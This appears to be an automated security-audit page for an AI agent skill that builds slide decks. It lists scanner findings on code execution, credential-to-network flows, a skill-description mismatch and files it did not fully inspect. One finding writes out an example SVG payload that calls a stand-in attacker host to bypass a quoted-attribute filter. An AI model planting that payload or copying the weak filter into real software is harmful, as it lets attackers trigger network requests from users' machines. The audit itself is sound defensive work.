Back to skill

Security audit

Slide Maker

Security checks for vulnerabilities and agentic risk

Overview

ClawScan marks this slide-making skill suspicious because it reports unsafe code execution, automatic software installation, and behavior beyond the stated purpose; several referenced files were only partly inspected.

The verdict is suspicious, not malicious, and the scan was partial. Before installing, consider whether you are comfortable with automatic package installation and the reported code-execution and external-service risks; do not treat the scan as proof that the skill is safe.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/register_surface.py
Finding

Deck validation automatically executes adjacent Python files

Content
View full analysis

Impact

The companion file executes arbitrary Python with the validation process's permissions, allowing access to that process's files and credentials or modification of its accessible workspace. Execution happens before import failures are caught.

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/icons.py
Finding

Unquoted SVG event handlers bypass sanitization and execute in Chrome

Content
View full analysis

Impact

For example, an SVG root containing onload=fetch('https://attacker.example/collect') survives the quoted-attribute-only filter and executes when embedded in the HTML wrapper. This permits attacker-directed network requests from the rendering host. Host-level code execution and unrestricted local-file reading are not established by this evidence.

Vulnerability Patterns
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (243)

Tainted flow: 'req' from os.environ.get (line 120, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/generate_images_openai.py (reported line 122)May include surrounding context.

python
for attempt in range(retries + 1):
        req = urllib.request.Request(url, data=body, headers=headers, method="POST")
        try:
            with urllib.request.urlopen(req, timeout=timeout) as resp:
                return json.loads(resp.read().decode("utf-8"))
        except urllib.error.HTTPError as exc:
            if exc.code in {408, 409, 429, 500, 502, 503, 504} and attempt < retries:

Tainted flow: 'url' from os.environ.get (line 145, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/generate_images_openai.py (reported line 147)May include surrounding context.

python
return
    url = first.get("url")
    if url:
        with urllib.request.urlopen(url, timeout=120) as resp:
            out_path.write_bytes(resp.read())
        return
    raise RuntimeError("API response included neither b64_json nor url")

Dangerous chain: exec() wrapping compile

Critical
Category
Dangerous Code Execution
Confidence
95% confidence
Finding

A dangerous execution chain combines code execution (exec/eval) with a dynamic source (network, encoded data, dynamic import), creating a high-confidence attack vector.

Content

Scanner excerpt · scripts/smoke_deckkit.py (reported line 622)May include surrounding context.

python
# `prs` too: a real build script always has the presentation in scope, and a scaffold
            # that has to work around its absence stops looking like the code it is teaching (the
            # navigation forms create the slides they jump to).
            exec(compile(code, f"<scaffold:{name}>", "exec"),
                 {"dk": dk, "s": sl, "dc": dc, "prs": p})
        except Exception as e:
            bad.append(f"{name}: {type(e).__name__}: {e}")

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
90% confidence
Finding

The skill requires executing a maintenance helper before every invocation, including audits and questions, although this behavior is not apparent from its presentation-focused description. The stated network call and cache behavior introduce unnecessary external communication and persistent side effects before user consent; however, the specific claims about git fetch and Git metadata cannot be verified without the helper source.

Content

No source excerpt is available for this finding.

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 56)May include surrounding context.

md
`agents/slide-design.md` Design-language output + self-verify (h); the `boldness`/`signature move`

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 210)May include surrounding context.

md
| Look / form / layout / rhythm / icons / motion (Step 2) | `agents/slide-design.md` |

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 672)May include surrounding context.

md
Then dispatch `agents/slide-design.md` — the deck's **art director**

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 727)May include surrounding context.

md
domain-neutral §3 dictionary it resolves through: `agents/slide-design.md` §1.

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 744)May include surrounding context.

md
no extra round trip (`agents/slide-design.md` §0). One picture with no alternatives is not a choice,

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 755)May include surrounding context.

md
**balanced+** for everything else; record which arm set it (`agents/slide-design.md` owns the full

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 803)May include surrounding context.

md
DESIGN MUSTS** addressed (`slide-design.md`'s three design musts) —

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 875)May include surrounding context.

md
> `agents/slide-design.md`; a reading that DEFERS to a later

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 93)May include surrounding context.

md
order; RGBColor vs hex; `picture()` takes the path SECOND). Reading `deckkit.py` one function at a time answers one question per

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 232)May include surrounding context.

md
| The build helpers (source of truth) | `scripts/deckkit.py` (docstrings) |

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 1023)May include surrounding context.

md
Write a small per-deck build script that imports `scripts/deckkit.py` (don't re-derive primitives;

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 159)May include surrounding context.

md
`references/codex-runtime.md` (its Runtime routing section first) before Step 2, then run the evidence

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 168)May include surrounding context.

md
PPTX tool may inspect or convert the file but never replace that path. Full rule: `references/codex-runtime.md`.

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 234)May include surrounding context.

md
| Codex-only execution evidence · delivery gate | `references/codex-runtime.md` · `scripts/codex_delivery_gate.py` |

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 827)May include surrounding context.

md
**Codex only:** include `references/codex-runtime.md` in the art-director brief and begin its hidden

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 1729)May include surrounding context.

md
**Codex only:** after PRE-FLIGHT 12, follow `references/codex-runtime.md`. Its separate gate does

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 1830)May include surrounding context.

md
`scripts/codex_delivery_gate.py` exactly as `references/codex-runtime.md` specifies, with a

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 180)May include surrounding context.

md
**Where commands run.** `SKILL` names the folder that holds this `SKILL.md` (the path the skill was loaded from);

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 219)May include surrounding context.

md
| Generated + sourced imagery (when/how · text-free · topical · REFERENT RULE + source tokens) | `references/image-generation.md` |

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 438)May include surrounding context.

md
`animation.md`, `image-generation.md` — belong to the slide-design agent in Step 2, not here.)*

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 687)May include surrounding context.

md
`schematic-diagrams.md`, `icons.md`, `animation.md`, `image-generation.md`,